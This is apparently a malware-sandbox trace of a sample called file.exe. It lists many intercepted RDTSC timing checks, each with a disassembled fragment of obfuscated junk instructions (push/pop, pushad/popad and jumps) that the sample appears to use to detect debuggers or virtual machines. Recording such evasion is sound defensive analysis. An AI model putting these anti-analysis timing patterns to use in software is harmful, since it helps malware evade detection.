Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3AB9 second address: 3C3AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3AC1 second address: 3C3AC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3AC5 second address: 3C3AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2CB5B2D3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3DD3 second address: 3C3DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3DD7 second address: 3C3DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3DDB second address: 3C3DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6B2C74806Ah 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3DF0 second address: 3C3DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3DF6 second address: 3C3E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2C748072h 0x00000009 jl 00007F6B2C748066h 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C412E second address: 3C413E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CBh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C43EC second address: 3C43F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C46DF second address: 3C46E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C46E5 second address: 3C4721 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007F6B2C748066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6B2C74806Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 js 00007F6B2C748066h 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007F6B2C74806Fh 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C963E second address: 3C9644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C9644 second address: 3C966C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2C74806Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B2C74806Dh 0x00000013 jnc 00007F6B2C748066h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CC817 second address: 3CC856 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D6h 0x00000007 jmp 00007F6B2CB5B2CCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6B2CB5B2CEh 0x00000015 push edi 0x00000016 jnp 00007F6B2CB5B2C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CC856 second address: 3CC85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CCABE second address: 3CCAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CCAC5 second address: 3CCACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CCD98 second address: 3CCDA2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B2CB5B2C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CCDA2 second address: 3CCDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CCDA8 second address: 3CCDF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F6B2CB5B2C6h 0x00000009 js 00007F6B2CB5B2C6h 0x0000000f jnc 00007F6B2CB5B2C6h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push esi 0x0000001a jmp 00007F6B2CB5B2D2h 0x0000001f push edi 0x00000020 pop edi 0x00000021 pop esi 0x00000022 pushad 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6B2CB5B2D6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CCF70 second address: 3CCF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007F6B2C748066h 0x0000000c js 00007F6B2C748066h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 popad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007F6B2C748066h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CCF8F second address: 3CCF93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 32A691 second address: 32A699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D41D5 second address: 3D41D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D469C second address: 3D46B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F6B2C748066h 0x0000000d jl 00007F6B2C748066h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D46B3 second address: 3D46B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D4A0C second address: 3D4A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D4D67 second address: 3D4D73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007F6B2CB5B2C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D4D73 second address: 3D4D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F6B2C74806Ch 0x0000000f jnl 00007F6B2C748066h 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F6B2C748066h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D51A8 second address: 3D51BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2CB5B2CDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D5F7E second address: 3D5F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6B2C748066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D3D4B second address: 3D3D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D3D4F second address: 3D3D71 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6B2C748066h 0x00000008 jmp 00007F6B2C748078h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DF591 second address: 3DF59B instructions: 0x00000000 rdtsc 0x00000002 je 00007F6B2CB5B2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DF59B second address: 3DF5CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B2C748075h 0x00000008 jmp 00007F6B2C748078h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DEFE0 second address: 3DEFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DEFE6 second address: 3DEFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBABA second address: 3EBAFB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F6B2CB5B2C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F6B2CB5B2CEh 0x00000012 jne 00007F6B2CB5B2CEh 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jne 00007F6B2CB5B2C6h 0x00000022 jmp 00007F6B2CB5B2CFh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBAFB second address: 3EBB10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F6B2C748066h 0x0000000d jo 00007F6B2C748066h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBC74 second address: 3EBC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBC78 second address: 3EBC7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F03D1 second address: 3F03D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F03D5 second address: 3F03E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F03E2 second address: 3F03E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F03E8 second address: 3F03F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F03F4 second address: 3F03F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 400105 second address: 40010F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6B2C748066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4045E3 second address: 40460E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2CB5B2D8h 0x00000009 pop esi 0x0000000a jp 00007F6B2CB5B2D2h 0x00000010 jbe 00007F6B2CB5B2C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 408F4F second address: 408F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 409235 second address: 409256 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6B2CB5B2DCh 0x00000008 jmp 00007F6B2CB5B2D6h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 409256 second address: 40925E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40CD20 second address: 40CD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40C89F second address: 40C8BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F6B2C748066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F6B2C748068h 0x00000012 pushad 0x00000013 popad 0x00000014 jbe 00007F6B2C748072h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40C8BB second address: 40C8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6B2CB5B2C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F6B2CB5B2C6h 0x00000012 jno 00007F6B2CB5B2C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40C8D3 second address: 40C8D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41D2C9 second address: 41D2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41D2CF second address: 41D2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41D2D3 second address: 41D2D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41D2D7 second address: 41D2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41D2E2 second address: 41D2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41D132 second address: 41D155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2C748079h 0x00000009 pop ecx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42E52C second address: 42E536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6B2CB5B2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42E536 second address: 42E566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F6B2C74806Ch 0x0000000f je 00007F6B2C748066h 0x00000015 jbe 00007F6B2C748068h 0x0000001b push edx 0x0000001c pop edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push edi 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42E566 second address: 42E588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6B2CB5B2D7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42E588 second address: 42E5B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6B2C748075h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4303C4 second address: 4303C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43054C second address: 430550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 430550 second address: 430566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 430566 second address: 43056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43056B second address: 43057A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6B2CB5B2C8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 433964 second address: 433968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 433968 second address: 43396E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43396E second address: 433974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 433974 second address: 433987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CEh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44BD1B second address: 44BD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44BD1F second address: 44BD53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6B2CB5B2D8h 0x0000000d jmp 00007F6B2CB5B2D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44ABD8 second address: 44ABE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44ABE9 second address: 44ABEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44ABEF second address: 44ABFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6B2C748066h 0x0000000a ja 00007F6B2C748066h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44AFE1 second address: 44AFF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B2CB5B2CCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44AFF3 second address: 44B006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F6B2C748066h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B55D second address: 44B56C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B2CB5B2C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B81B second address: 44B825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B825 second address: 44B832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6B2CB5B2C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B832 second address: 44B859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2C74806Fh 0x00000009 jmp 00007F6B2C748074h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44E9DE second address: 44EA2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F6B2CB5B2C8h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F6B2CB5B2CCh 0x00000016 pushad 0x00000017 jmp 00007F6B2CB5B2CCh 0x0000001c jmp 00007F6B2CB5B2D8h 0x00000021 popad 0x00000022 popad 0x00000023 push esi 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4513A9 second address: 4513AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45156B second address: 45156F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45156F second address: 451578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4518C3 second address: 45196C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F6B2CB5B2C8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 call 00007F6B2CB5B2D1h 0x00000026 mov dx, 7000h 0x0000002a pop edx 0x0000002b push dword ptr [ebp+122D2C4Bh] 0x00000031 mov dx, si 0x00000034 call 00007F6B2CB5B2C9h 0x00000039 pushad 0x0000003a js 00007F6B2CB5B2C8h 0x00000040 push ebx 0x00000041 pop ebx 0x00000042 jnl 00007F6B2CB5B2CCh 0x00000048 popad 0x00000049 push eax 0x0000004a jmp 00007F6B2CB5B2CDh 0x0000004f mov eax, dword ptr [esp+04h] 0x00000053 push edi 0x00000054 jne 00007F6B2CB5B2CCh 0x0000005a pop edi 0x0000005b mov eax, dword ptr [eax] 0x0000005d ja 00007F6B2CB5B2D2h 0x00000063 mov dword ptr [esp+04h], eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jng 00007F6B2CB5B2C8h 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4532BC second address: 4532C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4532C2 second address: 4532C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 452E26 second address: 452E32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6B2C748066h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 452E32 second address: 452E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
